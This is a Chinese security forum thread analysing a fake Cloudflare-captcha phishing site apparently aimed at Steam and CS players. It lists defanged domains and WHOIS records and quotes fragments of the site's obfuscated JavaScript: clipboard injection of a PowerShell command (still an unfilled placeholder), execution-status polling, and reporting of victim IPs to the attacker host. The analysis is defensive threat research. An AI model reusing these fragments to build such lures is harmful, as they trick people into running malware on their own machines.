高仿验证钓鱼

显示全部楼层 · 发表于 2026-7-27 11:15:46

链接：hxxps://oopz.live/
屏幕截图 2026-07-27 110109.png

最近发现有这种高仿验证码以进行投毒的行为，有说法是针对Steam用户尤其是cs玩家（有一个完美的高仿，不过截止我发帖的时候已经连不上了）
目前，图片中的链接无法获取正确的powershell代码，粘贴内容为：

{{TEAM_COMMAND}}

复制代码

个人觉得应该是还没有投毒或者是没做好只传了个模版变量

显示全部楼层 · 发表于 2026-7-27 17:35:10

钓鱼欺诈
域　名　oopz[.]live
注册商　NICENIC INTERNATIONAL GROUP CO., LIMITED
注册人
邮　箱
省／州　Russia
地　区　俄罗斯（RU）
注册日　2026-05-30 01:56:02 UTC+8
过期日　2027-05-30 01:56:02 UTC+8
更新日　2026-06-04 01:56:42 UTC+8
IANA_ID　3765
状　态　客户端禁止删除
　　　　客户端禁止转移
DNS　　shaz[.]ns.cloudflare[.]com
　　　　leland[.]ns.cloudflare[.]com
DNSSEC 未配置

关联地址
域　名　team[.]limo
注册商　NICENIC INTERNATIONAL GROUP CO., LIMITED
注册人
邮　箱
省／州　Russia
地　区　俄罗斯（RU）
注册日　2026-02-15 19:46:26 UTC+8
过期日　2027-02-15 19:46:26 UTC+8
更新日　2026-02-20 19:46:29 UTC+8
IANA_ID　3765
状　态　客户端禁止删除
　　　　客户端禁止转移
DNS　　owen[.]ns.cloudflare[.]com
　　　　brenda[.]ns.cloudflare[.]com
DNSSEC　未配置

声明假冒
域　名　5eplay[.]com
注册商　Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人　湖北乐于战网络科技有限公司
邮　箱
省／州　湖北（hu bei）
地　区　中国（CN）
许可号　鄂ICP备2024073305号
注册日　2011-08-11 11:49:21 UTC+8
过期日　2034-08-11 11:49:21 UTC+8
更新日　2026-05-28 09:24:38 UTC+8
通过日　2026-05-28
IANA_ID　420
状　态　客户端禁止转移
DNS　　vip3[.]alidns[.]com
　　　　vip4[.]alidns[.]com
DNSSEC　未配置

核心脚本

https://oopz[.]live/assets/js/main.js
https://s[.]team[.]limo/assets/js/main.js
引入脚本
<script src="/assets/js/main.js"></script>
混淆预览
function _0x3ac0() {
const _0x32ab09 = [
"AwXK",
.....
];
_0x3ac0 = function () {
return _0x32ab09;
};
return _0x3ac0();
}
.....

复制代码

底部特征

Ray ID: 0ad5a7dde6eb13ea
静态，每次访问都一样

复制代码

仿真伪造

assets/js/main.js
const _0x56c808=window['location']['href'][_0xd861a1(0xe7)]('?')[0x0]
.....
在当前 URL 里，仿冒 Cloudflare Challenge 的格式修改追加
?__cf_chl_tk=***

复制代码

自动复制

const COPY_TEXT = (function () {
try {
return atob("{{TEAM_COMMAND}}");
} catch (e) {
return "{{TEAM_COMMAND}}";
}
})();
navigator.clipboard.writeText(COPY_TEXT)
chrome://settings/content/clipboard
默认行为
不允许网站查看您剪贴板中的文字或图片
about:preferences#privacy
火狐 149- 旧版支持剪贴板默认行为
about:preferences#permissionsData
但在 150+ 新版移动到（权限与数据）里后暂时被隐藏了，目前默认可读写
//*[@id="setting-control-clipboardSuggestion"]
<setting-control xmlns="http://www.w3.org/1999/xhtml" id="setting-control-clipboardSuggestion" hidden="">
<moz-checkbox id="clipboardSuggestion" data-l10n-id="addressbar-locbar-clipboard-option" data-l10n-attrs="label,description,accesskey,placeholder,dialogtitle" inputlayout="inline" checked="" label="剪贴板">
</moz-checkbox>
</setting-control>

复制代码

验证轮询

https://oopz[.]live?action=check_status
function checkClientStatus() {
fetch(window.location.pathname + "?action=check_status", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({}),
})
.then((response) => response.json())
.then((data) => {
if (data.status === "redirect") {
window.location.href = data.redirectUrl;
} else if (data.status === "completed") {
if (data.redirectUrl) {
window.location.href = data.redirectUrl;
} else {
window.location.reload();
}
}
})
.catch((err) => {
console.error("Polling error:", err);
});
}
setInterval(checkClientStatus, 5000);

复制代码

确认执行

completed：服务端验证，是否已执行
redirect：是，跳转目标地址，有可能是继续套娃

复制代码

轮询地址

/assets/js/main.js
https://api[.]pify[.]org?format=json
https://ipv4[.]icanhazip[.]com/
https://api4[.]my-ip[.]io/ip.json
失败自动轮询
AbortSignal.timeout(0xbb8) ≈ 3000ms

复制代码

关联拼接

https://oopz[.]live?action=report_ip&session=110.110.110.110&real_ip=110.110.110.110

复制代码

多语提示

(function(){
var T={
ru:{t:'Обнаружено мобильное устройство',b:'Эта страница доступна только на компьютере.<br>Пожалуйста, откройте ссылку на ПК.'},
uk:{t:'Виявлено мобільний пристрій',b:'Ця сторінка доступна лише на комп\'ютері.<br>Будь ласка, відкрийте посилання на ПК.'},
en:{t:'Mobile device detected',b:'This page is only available on desktop.<br>Please open the link on your PC.'},
de:{t:'Mobiles Gerät erkannt',b:'Diese Seite ist nur auf dem Desktop verfügbar.<br>Bitte öffnen Sie den Link auf Ihrem PC.'},
fr:{t:'Appareil mobile détecté',b:'Cette page n\'est disponible que sur ordinateur.<br>Veuillez ouvrir le lien sur votre PC.'},
pl:{t:'Wykryto urządzenie mobilne',b:'Ta strona jest dostępna tylko na komputerze.<br>Proszę otworzyć link na PC.'},
tr:{t:'Mobil cihaz tespit edildi',b:'Bu sayfa yalnızca masaüstünde kullanılabilir.<br>Lütfen bağlantıyı bilgisayarınızda açın.'},
kk:{t:'Мобильді құрылғы анықталды',b:'Бұл бет тек компьютерде қол жетімді.<br>Өтінеміз, сілтемені ДК-да ашыңыз.'},
zh:{t:'检测到移动设备',b:'此页面仅在桌面设备上可用。<br>请在电脑上打开此链接。'},
ar:{t:'تم اكتشاف جهاز محمول',b:'هذه الصفحة متاحة فقط على سطح المكتب.<br>يرجى فتح الرابط على جهاز الكمبيوتر.'},
ja:{t:'モバイルデバイスを検出しました',b:'このページはデスクトップでのみ利用可能です。<br>PCでリンクを開いてください。'},
ko:{t:'모바일 기기가 감지되었습니다',b:'이 페이지는 데스크톱에서만 사용할 수 있습니다.<br>PC에서 링크를 열어주세요.'},
vi:{t:'Phát hiện thiết bị di động',b:'Trang này chỉ khả dụng trên máy tính.<br>Vui lòng mở liên kết trên PC của bạn.'},
th:{t:'ตรวจพบอุปกรณ์มือถือ',b:'หน้านี้ใช้งานได้บนเดสก์ท็อปเท่านั้น<br>กรุณาเปิดลิงก์บนคอมพิวเตอร์ของคุณ'},
id:{t:'Perangkat seluler terdeteksi',b:'Halaman ini hanya tersedia di desktop.<br>Silakan buka tautan di PC Anda.'},
ms:{t:'Peranti mudah alih dikesan',b:'Halaman ini hanya tersedia di desktop.<br>Sila buka pautan pada PC anda.'},
hi:{t:'मोबाइल डिवाइस का पता चला',b:'यह पृष्ठ केवल डेस्कटॉप पर उपलब्ध है।<br>कृपया लिंक को अपने PC पर खोलें।'}
};
var ua=navigator.userAgent||'';　＃定义浏览器ＵＡ头检测命令
var isMobile=/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|CriOS|Mobile/i.test(ua)　　＃定义手机ＵＡ头
|| (navigator.maxTouchPoints>1 && !/Windows NT/i.test(ua))　＃一般非触控电脑０，如果多触点支持大于１且有无微软系统标识
|| screen.width<1024;　＃窗口／分辨率大小小于１０２４
if(isMobile){　＃如果是手机
var lang=(navigator.language||'en').split('-')[0].toLowerCase();　＃定义浏览器首选语言
var s=T[lang]||T['en'];
document.getElementById('mb-title').innerHTML=s.t;　＃重写网页内容，输出手机端提示
document.getElementById('mb-body').innerHTML=s.b;　
var el=document.getElementById('mobile-block');
if(el){el.style.display='flex';}
document.body.style.overflow='hidden';
}
})();
<div id="mobile-block" style="display:none; .....">　＃控制样式与是否显示
<svg .....></svg>　＃手机图标
<p id="mb-title" style="....."></p>
<p id="mb-body" style="....."></p>

复制代码

上报分析

<script
type="module"
src="https://static[.]cloudflareinsights[.]com/beacon.min.js/v4513226cdae34746b4dedf0b4dfa099e1781791509496"
integrity="sha512-ZE9pZaUXND66v380QUtch/5sE9tPFh2zg45pR2PB0CVkCtOREv2AJKkSidISWkysEuQ0EH8faUU5du78bx87UQ=="
data-cf-beacon='{
"version":"2024.11.0",
"token":"ee188e1ee27e440f97e5fe0e932b36ec",　＃统计ＩＤ
"r":1
}'
crossorigin="anonymous">
</script>

复制代码

显示全部楼层 · 发表于 2026-7-30 15:50:31

显示全部楼层 · 发表于 2026-7-30 18:39:16

火绒

[已鉴定] 高仿验证钓鱼